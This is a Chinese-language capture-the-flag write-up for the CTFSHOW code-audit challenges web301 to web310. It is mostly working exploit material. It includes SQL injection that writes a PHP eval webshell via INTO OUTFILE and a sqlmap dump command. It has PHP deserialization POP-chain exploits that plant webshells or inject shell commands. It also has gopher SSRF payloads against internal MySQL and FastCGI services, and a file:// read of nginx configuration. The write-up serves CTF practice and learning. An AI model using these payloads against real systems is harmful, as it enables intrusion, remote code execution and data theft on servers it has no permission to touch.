CTFSHOW 代碼審計篇

web301

下載下來源碼,發現checklogin.php裏面的sql語句沒有任何的過濾。
在這裏插入圖片描述
所以直接注入就可以了。用sqlmap跑了下得到用戶名密碼 admin ctfshowwwww登陸進去就有flag
python sqlmap.py -u http://e62c174a-c4d4-4a58-a392-a41bfca926ee.chall.ctf.show/checklogin.php --form --batch --dump


然後我們也也可以寫個木馬
userid=a ' union select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/a.php"%23&userpwd=b
發現當前目錄下有flag.php打開即可得到flag。

web302

根據提示
修改的地方: if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){
我們發現他用的是$row['sds_password']),也就是他已經執行完了sql語句,所以我們不用管他判斷後會怎樣。直接在checklogin.php寫shell就行了
payload
userid=a ' union select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/a.php"%23&userpwd=b



web303

在dptadd.php中存在注入點
在這裏插入圖片描述
有個insert而且沒有任何過濾。插入的數據會在dpt.php中查詢出來
在這裏插入圖片描述
但是有個前提,必須得先登陸成功
在這裏插入圖片描述
有幾個地方需要注意,用戶名有長度限制,而且查詢語句沒有用到userpwd,
查詢成功後會進行比較。
在這裏插入圖片描述
那用戶名我們就老老實實的寫個admin。密碼我怎麼也不知道怎麼弄,後來隨便試了下admin,結果成功了=_= 。。。。。
剩下的就簡單了,在dptadd.php中進行注入。
payload:
查表名
dpt_name=1',sds_address =(select group_concat(table_name) from information_schema.tables where table_schema=database())%23
查列名
dpt_name=1',sds_address =(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g')%23
查數據
dpt_name=1',sds_address =(select flag from sds_fl9g)%23
















web304

沒找到waf 就改了下表名 sds_flaag
還是上面的payload

web305

多了個waf和class.php
先看下waf,基本上注入沒有啥希望了。再看下class.php。有個寫文件操作。
在這裏插入圖片描述
在checklogin.php中存在反序列化的點。
所以傳個cookie就可以了
poc:




<?php
class user{
   
   
	public $username;
	public $password;
	public function __construct($u,$p){
   
   
		$this->username=$u;
		$this->password=$p;
	}
}
echo serialize(new user('a.php','<?php eval($_POST[1]);?>'));

然後抓包傳cookie,編碼一下就可以了。
在這裏插入圖片描述
然後用蟻劍去連數據庫,就能找到flag了。
在這裏插入圖片描述


web306

存在反序列化函數,那我們找下有沒有__wakeup或者__destruct發現有個destruct
那麼在找下有沒有可以利用的函數,一般就是讀文件、寫文件、執行系統命令這幾種類型的函數。
發現存在file_put_contents
在這裏插入圖片描述
需要調用一個close()方法,找下哪些地方有調用close的,在dao.php中找到一個,並且正好是__destruct內。
也就是說如果我們讓$this->coon是log類,那麼當反序列化時就會去調用log類中的close函數。
在這裏插入圖片描述
因爲dao.php中包含了class.php所以只要找個包含dao.php的文件就可以了。
index.php就是我們可以利用的
在這裏插入圖片描述
poc









<?php
class dao{
   
   
	private $conn;

	public function __construct(){
   
   
		$this->conn=new log();
	}
}
class log{
   
   
	public $title='a.php';
	public $info='<?php eval($_POST[1]);?>';
}
$a=new dao();
echo base64_encode(serialize($a));

傳到cookie裏面訪問下index.php就可以生成木馬了。

web307

開局先搜了下unserialize發現了四個。。。。。那我們先找可利用的函數,找到個shell_exec,然後找調用的地方。
在這裏插入圖片描述
有兩處,比較一下就可以發現logout.php中的很好用
在這裏插入圖片描述
只要修改下config類中的$cache_dir然後命令拼接下就行了。
我們這個反序列化出來的service有兩個選擇,一個是生成service類,一個是生成dao類。兩個都可以調用clearCache函數,但是service是通過dao類調用的clearCache。所以我們不需要用到service類。直接




poc:

<?php
class config{
   
   
	public $cache_dir = ';echo  "<?php eval(\$_POST[1]);?>" >a.php;';//linux的shell裏面$有特殊意義所以轉義一下。

}
class dao{
   
   
	private $config;
	public function __construct(){
   
   
		$this->config=new config();
	}

}
$a=new dao();
echo base64_encode(serialize($a));
?>

反序列化後會生成dao類,然後去調用clearCache函數,這時的cache_dir我們已經修改了。

web308

與上一題相比,命令執行利用點增加了過濾。輸入的內容中只允許存在字母,所以這個利用點我們放棄。

在這裏插入圖片描述
然後在fun.php處多了個ssrf利用點。

在這裏插入圖片描述
找具體的調用位置,在dao.php中被調用。我們再來找checkVersion在哪被調用。
在這裏插入圖片描述
在index.php中存在利用點。跟上一題基本差不多.
在這裏插入圖片描述
poc




<?php
class config{
   
   
	public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%61%2e%70%68%70%22%01%00%00%00%01';
}
class dao{
   
   
	private $config;
	public function __construct(){
   
   
		$this->config=new config();
	}

}
$a=new dao();
echo base64_encode(serialize($a));
?>

具體的值通過gopherus生成
下載地址https://github.com/tarunkant/Gopherus
在這裏插入圖片描述
把生成的poc傳到cookie中,然後就會生成a.php,剩下的就簡單了。
在這裏插入圖片描述



web309

打的不是mysql了,打的是fastcgi.探測是通過gopher協議的延遲判斷的
gopher://127.0.0.1:9000
在這裏插入圖片描述
poc:


<?php
class config{
   
   
	public $update_url = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27cat%20f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00';
}
class dao{
   
   
	private $config;
	public function __construct(){
   
   
		$this->config=new config();
	}

}
$a=new dao();
echo base64_encode(serialize($a));
?>

web310

9000和6379都是關着的。那我們可以試試讀下配置文件
poc

<?php
class config{
   
   
	public $update_url = 'file:///etc/nginx/nginx.conf';
}
class dao{
   
   
	private $config;
	public function __construct(){
   
   
		$this->config=new config();
	}

}
$a=new dao();
echo base64_encode(serialize($a));
?>

得到關鍵信息

	server {
        listen       4476;
        server_name  localhost;
        root         /var/flag;
        index index.html;

        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }

接着訪問下
poc

<?php
class config{
   
   
	public $update_url = 'http://127.0.0.1:4476';
}
class dao{
   
   
	private $config;
	public function __construct(){
   
   
		$this->config=new config();
	}
}
$a=new dao();
echo base64_encode(serialize($a));
?>

得到flag,flag需要大家仔細找下。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章